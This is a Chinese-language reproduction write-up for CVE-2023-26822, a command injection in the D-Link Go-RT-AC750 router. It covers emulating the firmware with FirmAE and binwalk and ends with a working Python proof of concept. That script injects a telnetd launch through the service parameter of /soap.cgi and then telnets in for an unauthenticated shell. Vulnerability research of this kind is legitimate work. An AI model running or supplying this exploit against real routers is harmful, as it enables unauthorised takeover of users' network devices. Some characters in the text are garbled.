D-Link Go-RT-AC750是一款雙頻無線路由器。D-Link Go-RT-AC750在固件版本為revA_v101b03中存在命令注入漏洞,漏洞編號:CVE-2023-26822。未經授權的攻擊者可以請求 /soap.cgi 路由通過攜帶的參數進行命令拼接,從而控制路由器。
1.FirmAE 工具安裝;首先拉取FirmAE 工具倉庫
git clone --recursive https://github.com/pr0v3rbs/FirmAE
運行下載腳本;

運行./install.sh進行安裝

2.下載固件
本文模擬的是設備型號為Go-RT-AC750,固件版本:revA_v101b03
下載地址:
https://eu.dlink.com/uk/en/products/go-rt-ac750-wireless-ac750-dual-band-easy-
下載后得到GORTAC750_A1_FW_v101b03.bin固件文件

3.FirmAE工具初始化
在FirmAE工具目錄下執(zhí)行./init.sh進行初始化

4.安裝binwalk
這里使用FirmAE工具目錄下的binwalk安裝程序進行安裝
cd binwalk-2.3.3/
python3 setup.py install

5.模擬運行固件
執(zhí)行如下命令對固件進行解壓
binwalk -Me /root/GORTAC750_A1_FW_v101b03.bin --run-as=root

執(zhí)行如下命令來模擬運行固件
sudo ./run.sh -r GORTAC750 /root/GORTAC750_A1_FW_v101b03.bin
使用瀏覽器訪問http://192.168.0.1,出現如下界面則表明成功模擬了一臺D-Link Go-RT-AC750路由器

POC內容如下:
from socket import *
from os import *
from time import *
request = b"POST /soap.cgi?service=&&telnetd -p 4123& HTTP/1.1\r\n"
request += b"Host: localhost:49152\r\n"
request += b"Content-Type: text/xml\r\n"
request += b"Content-Length: 88\r\n"
request += b"SOAPAction: a#b\r\n\r\n"
s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)
sleep(10)
system('telnet 192.168.0.1 4123')
執(zhí)行POC,成功獲取shell.